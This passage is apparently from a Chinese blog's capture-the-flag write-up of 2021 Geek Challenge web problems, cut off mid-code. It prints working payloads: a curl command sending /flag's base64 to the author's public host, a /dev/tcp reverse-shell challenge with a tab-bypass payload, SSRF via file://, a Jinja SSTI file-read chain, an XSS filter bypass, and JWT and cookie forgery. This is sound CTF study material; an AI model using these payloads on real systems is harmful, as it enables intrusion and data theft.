<p>放一个朋友的</p>
<p><img
  src="/4fd634/2021_geek_challenge_web_babypop_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1599" height="511"
/>
</p>
<p>采用反弹shell发现弹不了不知道为啥。所以这里采用<code>curl http://公网ip:端口/base64 /flag</code>的方法。</p>
<p>这里进行反弹直接请求包解码出flag</p>
<p><img
  src="/4fd634/2021_geek_challenge_web_babypop_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1383" height="668"
/>
</p>
<h4 id="where_is_my_fumo">where_is_my_FUMO<a class="anchor" href="#where_is_my_fumo">#</a></h4>
<p>这题正向连接，也不知道是不是这么叫，反正这个箭头很有讲究，<a
  href="https://xz.aliyun.com/t/2549" rel="nofollow noopener noreferrer" target="_blank"
  >参考链接<span style="user-select:none"> ↗</span></a
>
</p>
<p>题目：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="k">function</span> <span class="nf">chijou_kega_no_junnka</span><span class="p">(</span><span class="nv">$str</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">    <span class="nv">$black_list</span> <span class="o">=</span> <span class="p">[</span><span class="s2">&#34;&gt;&#34;</span><span class="p">,</span> <span class="s2">&#34;;&#34;</span><span class="p">,</span> <span class="s2">&#34;|&#34;</span><span class="p">,</span> <span class="s2">&#34;{&#34;</span><span class="p">,</span> <span class="s2">&#34;}&#34;</span><span class="p">,</span> <span class="s2">&#34;/&#34;</span><span class="p">,</span> <span class="s2">&#34; &#34;</span><span class="p">];</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    <span class="k">return</span> <span class="nx">str_replace</span><span class="p">(</span><span class="nv">$black_list</span><span class="p">,</span> <span class="s2">&#34;&#34;</span><span class="p">,</span> <span class="nv">$str</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;DATA&#39;</span><span class="p">]))</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="nv">$data</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;DATA&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="nv">$addr</span> <span class="o">=</span> <span class="nx">chijou_kega_no_junnka</span><span class="p">(</span><span class="nv">$data</span><span class="p">[</span><span class="s1">&#39;ADDR&#39;</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="nv">$port</span> <span class="o">=</span> <span class="nx">chijou_kega_no_junnka</span><span class="p">(</span><span class="nv">$data</span><span class="p">[</span><span class="s1">&#39;PORT&#39;</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="nx">exec</span><span class="p">(</span><span class="s2">&#34;bash -c </span><span class="se">\&#34;</span><span class="s2">bash -i &lt; /dev/tcp/</span><span class="si">$addr</span><span class="s2">/</span><span class="si">$port</span><span class="se">\&#34;</span><span class="s2">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="nx">highlight_file</span><span class="p">(</span><span class="no">__FILE__</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>因为过滤空格，所以使用tab绕过</p>
<p>payload：<code>DATA[ADDR]=ip&amp;DATA[PORT]=port%091&lt;%260</code></p>
<p>反弹成功后，flag居然是一张图片，那就只能二进制读取或者base了，而且终端有长度限制，所以使用tail与head截取</p>
<p><code>cat /flag.png | base64 | tail -n +1|head -n 8000</code></p>
<p><code>cat /flag.png | base64 | tail -n +8001|head -n 8000</code></p>
<p>每次读8000行，读两次，把读取到的base64编码转为图片就好了</p>
<p><img
  src="/4fd634/2021_geek_challenge_web_where_is_my_FUMO_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="669" height="771"
/>
</p>
<h4 id="babyphp">babyphp<a class="anchor" href="#babyphp">#</a></h4>
<p>注释&ndash;&gt;robots.txt&ndash;&gt;noobcurl.php</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="k">function</span> <span class="nf">ssrf_me</span><span class="p">(</span><span class="nv">$url</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">        <span class="nv">$ch</span> <span class="o">=</span> <span class="nx">curl_init</span><span class="p">();</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">        <span class="nx">curl_setopt</span><span class="p">(</span><span class="nv">$ch</span><span class="p">,</span> <span class="nx">CURLOPT_URL</span><span class="p">,</span> <span class="nv">$url</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">        <span class="nx">curl_setopt</span><span class="p">(</span><span class="nv">$ch</span><span class="p">,</span> <span class="nx">CURLOPT_RETURNTRANSFER</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">        <span class="nv">$output</span> <span class="o">=</span> <span class="nx">curl_exec</span><span class="p">(</span><span class="nv">$ch</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">        <span class="nx">curl_close</span><span class="p">(</span><span class="nv">$ch</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="k">echo</span> <span class="nv">$output</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="k">if</span><span class="p">(</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;url&#39;</span><span class="p">])){</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="nx">ssrf_me</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;url&#39;</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="nx">highlight_file</span><span class="p">(</span><span class="no">__FILE__</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">        <span class="k">echo</span> <span class="s2">&#34;&lt;!-- 有没有一种可能，flag在根目录 --&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>尝试file://伪协议读取<code>?url=file:///flag</code>出现flag</p>
<h4 id="babypy">babyPy<a class="anchor" href="#babypy">#</a></h4>
<p>最基础的SSTI，但我对这个python web不太了解，所以边百度边学的，放个<a
  href="https://www.aisoutu.com/a/345834" rel="nofollow noopener noreferrer" target="_blank"
  >链接<span style="user-select:none"> ↗</span></a
>
</p>
<p>蒙的flag文件名</p>
<p>payload：
{% raw %}</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="p">{{</span><span class="bp">self</span><span class="o">.</span><span class="vm">__class__</span><span class="o">.</span><span class="n">__base__</span><span class="o">.</span><span class="n">__subclasses__</span><span class="p">()[</span><span class="mi">133</span><span class="p">]</span><span class="o">.</span><span class="fm">__init__</span><span class="o">.</span><span class="vm">__globals__</span><span class="p">[</span><span class="s1">&#39;__builtins__&#39;</span><span class="p">]</span><span class="o">.</span><span class="n">open</span><span class="p">(</span><span class="s1">&#39;flag&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()}}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>{% endraw %}</p>
<h4 id="蜜雪冰城甜蜜蜜">蜜雪冰城甜蜜蜜<a class="anchor" href="#蜜雪冰城甜蜜蜜">#</a></h4>
<p>说要买到第9号饮料，F12打开每个饮料都有一个id，随便找一个改成9，再点击这个商品就出flag了</p>
<h4 id="雷克雅未克">雷克雅未克<a class="anchor" href="#雷克雅未克">#</a></h4>
<p>恭喜EDG在冰岛雷克雅未克获得英雄联盟S11全球总决赛冠军！</p>
<p>这题很蠢，先看Cookie，查了自己经纬度，发现它把经度设置为y，纬度设置为x</p>
<p>那我查到雷克雅未克直接改Cookie不就行了吗，它验证的时候却反过来，x是经度，y是纬度</p>
<p>还有这题是改check.php的包，添加X-Forwarded-For: 5.23.95.255，Cookie: x=64.963943; y=-19.02116，回返回jsfuck代码<img
  src="/4fd634/2021_geek_challenge_web_reykjavik_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1889" height="908"
/>
</p>
<p>直接控制台打印就行<img
  src="/4fd634/2021_geek_challenge_web_reykjavik_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="957" height="451"
/>
</p>
<h4 id="人民艺术家">人民艺术家<a class="anchor" href="#人民艺术家">#</a></h4>
<p>用它给的帐号密码登录，抓返回包，发现有个JWT，放jwt.io里，改成如下<img
  src="/4fd634/2021_geek_challenge_web_rmysj_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1512" height="776"
/>
</p>
<p>我也不知道怎么获得密钥，朋友和我说的爆破出1234，离大谱，把改好的发包过去即可看到文件名<img
  src="/4fd634/2021_geek_challenge_web_rmysj_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1168" height="497"
/>
</p>
<p>访问即得flag</p>
<h4 id="babyxss">babyxss<a class="anchor" href="#babyxss">#</a></h4>
<p>直接闭合后面的符号，然后双写绕过</p>
<p>payload：<code>'&quot;);&lt;/script&gt;';}&lt;script&gt;alealertrt(1)&lt;/script&gt;</code></p>
<h4 id="baby_php_black_magic_enlightenment">Baby_PHP_Black_Magic_Enlightenment<a class="anchor" href="#baby_php_black_magic_enlightenment">#</a></h4>
<p>套套套套套套套</p>
<p>第一层</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="nx">PHP</span> <span class="nx">is</span> <span class="nx">the</span> <span class="nx">best</span> <span class="nx">Language</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="nx">Have</span> <span class="nx">you</span> <span class="nx">ever</span> <span class="nx">heard</span> <span class="nx">about</span> <span class="nx">PHP</span> <span class="nx">Black</span> <span class="nx">Magic</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="k">echo</span> <span class="s2">&#34;PHP is the best Language &lt;br/&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="k">echo</span> <span class="s2">&#34;Have you ever heard about PHP Black Magic&lt;br/&gt;&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="nx">error_reporting</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="nv">$temp</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;password&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="nx">is_numeric</span><span class="p">(</span><span class="nv">$temp</span><span class="p">)</span><span class="o">?</span><span class="k">die</span><span class="p">(</span><span class="s2">&#34;no way&#34;</span><span class="p">)</span><span class="o">:</span><span class="k">NULL</span><span class="p">;</span>    
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="k">if</span><span class="p">(</span><span class="nv">$temp</span><span class="o">&gt;</span><span class="mi">9999</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">    <span class="k">echo</span> <span class="nx">file_get_contents</span><span class="p">(</span><span class="s1">&#39;./2.php&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="k">echo</span> <span class="s2">&#34;How&#39;s that possible&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="p">}</span> 
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="nx">highlight_file</span><span class="p">(</span><span class="no">__FILE__</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="c1">//Art is long, but life is short. So I use PHP.
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="c1">//I think It`s So useful that DiaoRen Said;
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="c1">//why not they use their vps !!!
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="c1">//BBTZ le jiarenmen
</span></span></span><span class="line"><span class="ln">18</span><span class="cl">
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>去了解一下is_numeric就可以了，payload：<code>?password=10000a</code>，提示居然在注释里，我找了好久</p>
<p>第二层</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="nx">Just</span> <span class="nx">g1ve</span> <span class="nx">it</span> <span class="nx">a</span> <span class="k">try</span><span class="o">.</span> <span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="nx">error_reporting</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="nv">$flag</span><span class="o">=</span><span class="nx">getenv</span><span class="p">(</span><span class="s1">&#39;flag&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;user&#39;</span><span class="p">])</span> <span class="k">and</span> <span class="nx">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;pass&#39;</span><span class="p">]))</span> 
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;user&#39;</span><span class="p">]</span> <span class="o">==</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;pass&#39;</span><span class="p">])</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="k">echo</span> <span class="s1">&#39;no no no no way for you to do so.&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="nx">sha1</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;user&#39;</span><span class="p">])</span> <span class="o">===</span> <span class="nx">sha1</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;pass&#39;</span><span class="p">]))</span>
